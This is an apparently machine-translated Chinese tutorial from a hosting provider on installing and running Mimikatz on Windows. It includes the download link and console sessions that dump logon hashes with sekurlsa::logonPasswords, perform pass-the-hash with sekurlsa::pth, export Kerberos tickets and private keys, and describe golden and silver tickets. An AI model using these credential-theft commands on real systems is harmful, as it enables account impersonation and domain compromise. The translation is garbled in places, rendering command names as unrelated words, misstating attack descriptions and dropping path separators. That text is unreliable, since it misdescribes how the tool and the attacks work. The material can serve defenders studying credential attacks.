如何安装和使用 Mimikatz

[ad_1]

什么是 Mimikatz?

Mimikatz 是由法国开发人员 Benjamin Delpy 创建的工具,用于收集凭据并可以执行与渗透测试相关的一系列操作。 它的创建源于名为 WDigest 的 Windows 系统功能的显着漏洞。 WDigest 旨在允许较大的基于 Windows 的网络用户在 LAN 或 WAN 上的多个应用程序中建立凭据。 此功能将身份验证凭据存储在内存中,并允许它们自动重复使用,因此用户只需输入一次登录详细信息。

事实证明,他创建了最强大的工具之一,用于检测 Windows 系统安全性中的弱点。 目前,渗透测试人员仍然使用 Mimikatz 作为附件以及其他实用程序来测试 Windows 安全性。

攻击向量

以下是 Mimikatz 检查的五个攻击向量。

  • 传递哈希 — NTLM(或 Windows NT LAN Manager)包含用于获取密码的哈希值。 该系统试图让最终用户多次使用密码而不必再次重复使用相同的哈希值。
  • 通票 — Kerberos 系统是一种基于票证工作的网络身份验证协议,票证允许节点通过非安全网络进行通信以安全地相互验证他们的身份。 Mimikatz 可以从用户的帐户中获取这些票证,并使用它们以该用户的身份访问系统。
  • Kerberos 金票 — 这将获得隐藏密钥分发中心服务帐户 (KRBTGT) 的票证,该票证对所有真实性票证进行加密,从而为网络中的任何计算机提供对管理级别域的访问。
  • Kerberos 求解器票证 — 此 Windows 功能为用户提供访问网络内多项服务的票证。 这让可能的攻击者冒充网络用户。
  • 传递钥匙 — 这将获得一个唯一的密钥,用于在域控制器上进行身份验证。 然后攻击者可以多次使用此密钥来冒充用户。

Mimikatz 安装

许多公司仍然发现此工具可用于检测和纠正其本地安全机构子系统服务安全中的任何弱点。

警告:禁止将此程序用于其预期用途以外的任何其他目的。 使用它来扫描您无法控制或未经所有者许可的漏洞可能是非法的,并会受到刑事起诉。

步骤1

首先,我们需要打开一个 Windows(或 powershell)终端。 为此,请按 Win+X,然后输入 cmd。

第2步

下一步将是 安装 Mimikatz. 可以通过打开以下链接 (https://github.com/gentilkiwi/mimikatz/releases) 从 GitHub 下载它。 Save .zip 或 .7z 格式,然后解压缩存档,并根据您的系统选择 x32 或 x64 版本。 之后,运行“.exe”格式的文件。 Mimikatz 也可以从源代码下载并自行构建。

Microsoft Windows [Version 10.0.19041.329]
(c) 2019 Microsoft Corporation. All rights reserved.

C:UsersKatherine>cd Downloads
C:UsersKatherineDownloads>cd mimikatz_trunk
C:UsersKatherineDownloadsmimikatz_trunk>cd x64
C:UsersKatherineDownloadsmimikatz_trunkx64> .mimikatz.exe

.#####. mimikatz 2.2.0 (x64) #19041 May 19 2020 00:48:59
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## /  ## /*** Benjamin DELPY gentilkiwi ( [email protected] )
##  / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( [email protected] )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz #

让我们检查 Mimikatz 是否可以使用命令 ‘version’:

mimikatz # version

mimikatz 2.2.0 (arch x64)
Windows NT 10.0 build 19041 (arch x64)
msvc 150030729 207

mimikatz #

Mimikatz 模块

存在用于不同目的的各种模块,但我们将只回顾一些最流行的模块。

模块标准 — 它包含可以在使用此工具时使用的简短命令。 让我们来看看一些标准命令:

  • 出口 ——退出程序;
  • — 清除控制台;
  • 睡觉 – 在几秒钟内切换到睡眠模式:
mimikatz # sleep 4200
Sleep : 4200 ms... End !

mimikatz #
  • 回答 – 开发人员也喜欢玩乐,所以这个命令会打印生活中最重要问题的答案!
  • 光盘 – 更改或显示当前目录;
  • 日志 – 用于记录动作和记录日志:
mimikatz # log
Using 'mimikatz.log' for logfile : OK

mimikatz #
  • 咖啡 – 当没有空闲时间时,可以使用此命令来享受一杯虚拟咖啡的短暂休息;
  • base64 – 切换到在终端中打印输出而不是将文件记录到磁盘。
  • 模块权限 – 它包含一些在使用 Mimikatz 时使用特权的命令。

让我们将 Mimikatz 置于调试器模式以拥有更多权限并获得更高的访问级别:

mimikatz # privilege::debug
Privilege '20' OK

mimikatz #

模块加密 – 此模块可与 CryptoAPI 函数一起使用。

供应商 – 此命令获取所有可用的提供程序:

mimikatz # crypto::providers

CryptoAPI providers :
0. RSA_FULL ( 1) - Microsoft Base Cryptographic Provider v1.0
1. DSS_DH (13) - Microsoft Base DSS and Diffie-Hellman Cryptographic Provider
2. DSS ( 3) - Microsoft Base DSS Cryptographic Provider
3. RSA_FULL ( 1) H - Microsoft Base Smart Card Crypto Provider
4. DH_SCHANNEL (18) - Microsoft DH SChannel Cryptographic Provider
5. RSA_FULL ( 1) - Microsoft Enhanced Cryptographic Provider v1.0
6. DSS_DH (13) - Microsoft Enhanced DSS and Diffie-Hellman Cryptographic Provider
7. RSA_AES (24) - Microsoft Enhanced RSA and AES Cryptographic Provider
8. RSA_SCHANNEL (12) - Microsoft RSA SChannel Cryptographic Provider
9. RSA_FULL ( 1) - Microsoft Strong Cryptographic Provider

CryptoAPI provider types:
0. RSA_FULL ( 1) - RSA Full (Signature and Key Exchange)
1. DSS ( 3) - DSS Signature
2. RSA_SCHANNEL (12) - RSA SChannel
3. DSS_DH (13) - DSS Signature with Diffie-Hellman Key Exchange
4. DH_SCHANNEL (18) - Diffie-Hellman SChannel
5. RSA_AES (24) - RSA Full and AES

CNG providers :
0. Microsoft Key Protection Provider
1. Microsoft Passport Key Storage Provider
2. Microsoft Platform Crypto Provider
3. Microsoft Primitive Provider
4. Microsoft Smart Card Key Storage Provider
5. Microsoft Software Key Storage Provider
6. Microsoft SSL Protocol Provider
7. Windows Client Key Protection Provider

mimikatz #

钥匙 – 打印所有提供商的密钥列表(例如,它可以将密钥导出到终端):

mimikatz # crypto::keys /export
* Store : 'user'
* Provider : 'MS_ENHANCED_PROV' ('Microsoft Enhanced Cryptographic Provider v1.0')
* Provider type : 'PROV_RSA_FULL' (1)
* CNG Provider : 'Microsoft Software Key Storage Provider'

CryptoAPI keys :

CNG keys :
0. Microsoft Connected Devices Platform device certificate
|Provider name : Microsoft Software Key Storage Provider
|Implementation: NCRYPT_IMPL_SOFTWARE_FLAG ;
Key Container : Microsoft Connected Devices Platform device certificate
Unique name : de7cf8a7901d2ad13e5c67c29e5d1662_4446d1b2-0875-4cc5-bdeb-4835813c706d
Algorithm : ECDSA_P256
Key size : 256 (0x00000100)
Export policy : 00000003 ( NCRYPT_ALLOW_EXPORT_FLAG ; NCRYPT_ALLOW_PLAINTEXT_EXPORT_FLAG ; )
Exportable key : YES
LSA isolation : NO
Private export : OK - 'user_cng_0_Microsoft Connected Devices Platform device certificate.dsa.ec.p8k'

mimikatz #

模块 Sekurlsa – 它可用于从内存中提取密码、密钥、PIN 码、票证。 使用此模块命令’特权::调试‘ 应该使用。 从 Windows 8.x 和 10 开始,默认情况下密码不在内存中,这提高了安全性。

登录密码 – 用于从内存中获取密码:

mimikatz # sekurlsa::logonPasswords

Authentication Id : 0 ; 143799 (00000000:000231b7)
Session : Interactive from 1
UserName : Katherine
Domain : HOME-PC
Logon Server : HOME-PC
Logon Time : 7/8/2020 12:00:02 PM
SID : S-1-5-21-1137163267-1680361566-2184406797-1001
msv :
[00000003] Primary
* Username : Katherine
* Domain : HOME-PC
* NTLM : 19afbb31b09b2d5eb218675addf4e73c
* SHA1 : e6770dc3e28e6755b49734a818ec7e17e69ef72f
tspkg :
wdigest :
* Username : Katherine
* Domain : HOME-PC
* Password : (null)
kerberos :
* Username : Katherine
* Domain : HOME-PC
* Password : (null)
ssp :
credman :

mimikatz #

要以管理员身份运行命令行版本,我们使用以下命令。

mimikatz # sekurlsa::pth /user:Administrateur /domain:winxp /ntlm:f193d757b4d487ab7e5a3743f038f713 /run:cmd
user : Administrateur
domain : winxp
program : cmd
impers. : no
NTLM : f193d757b4d487ab7e5a3743f038f713
| PID 3176
| TID 3188
| LSA Process was already R/W
| LUID 0 ; 408781 (00000000:00063ccd)
_ msv1_0 - data copy @ 000001F73964A3C0 : OK !
_ kerberos - data copy @ 000001F739ED3E78
_ des_cbc_md4 -> null
_ des_cbc_md4 OK
_ des_cbc_md4 OK
_ des_cbc_md4 OK
_ des_cbc_md4 OK
_ des_cbc_md4 OK
_ des_cbc_md4 OK
_ *Password replace @ 000001F739681E78 (32) -> null

mimikatz #

(Pass-The-Hash) — 使用密码更改哈希而不是真实密码运行与其他帐户更改密码的过程;

门票/出口 — 使用从 Kerberos 票证内存读取,并且对导出密钥和其他命令没有限制。

mimikatz # sekurlsa::tickets /export
Authentication Id : 0 ; 129210 (00000000:0001f8ba)
Session : Interactive from 1
UserName : Katherine
Domain : HOME-PC
Logon Server : HOME-PC
Logon Time : 7/8/2020 12:47:21 PM
SID : S-1-5-21-1137163267-1680361566-2184406797-1001

     * Username : Katherine
     * Domain : HOME-PC
     * Password : (null)

     Group 0 - Ticket Granting Service

     Group 1 - Client Ticket ?

     Group 2 - Ticket Granting Ticket

Authentication Id : 0 ; 997 (00000000:000003e5)
Session : Service from 0
UserName : LOCAL SERVICE
Domain : NT AUTHORITY
Logon Server : (null)
Logon Time : 7/8/2020 12:47:13 PM
SID : S-1-5-19

     * Username : (null)
     * Domain : (null)
     * Password : (null)

     Group 0 - Ticket Granting Service

     Group 1 - Client Ticket ?
     
     Group 2 - Ticket Granting Ticket

mimikatz #

模块 Kerberos – 它可以在没有任何权限的情况下工作并使用官方的 Microsoft Kerberos API。 可以为任何用户创建 Kerberos 票证(例如黄金票证和长期票证)。

– 该命令将 Kerberos 票嵌入到当前会话中;

金色/银色 – 此命令为任何用户、所需的用户组(例如管理员)创建带有随机数据的 Kerberos 票证;

时间 – 它显示有关当前会话的信息:

mimikatz # kerberos::tgt
Kerberos TGT of current session : no ticket !

mimikatz #

清除 – 执行所有工单和许多其他命令的清理。

有许多命令和模块,要使用它们,必须了解网络结构及其在 Windows 中的使用。 这些信息可以在官方网页上找到。 Kerberos 在组域设置中的安全实现应避免此处讨论的漏洞类型。

结论

在本文中,我们回顾了 Mimikatz,了解了它的使用地点和使用方式,并详细说明了为什么如果被恶意个人使用它既有用又危险。 我们已经学习了如何在 Windows 上安装它并注意到它的一些可用于确定敏感信息的基本命令。

如果您决定使用此实用程序来保护您的 Windows 网络,您将需要跟踪最新的 Mimikatz 更新和事件,以充分了解用于访问系统信息的方法和功能。

我们的支持团队由才华横溢的 Linux 技术人员和系统管理员组成,他们对多种网络托管技术(尤其是本文中讨论的技术)有着深入的了解。

如果您是完全托管的 VPS 服务器, Cloud 专用,VMWare 私有 Cloud, 私人父服务器或专用服务器所有者,并且您对执行列出的任何步骤感到不舒服,可以通过电话@800.580.4985 与我们联系,一个 聊天 或支持票以协助您完成此过程。

[ad_2]

Related Posts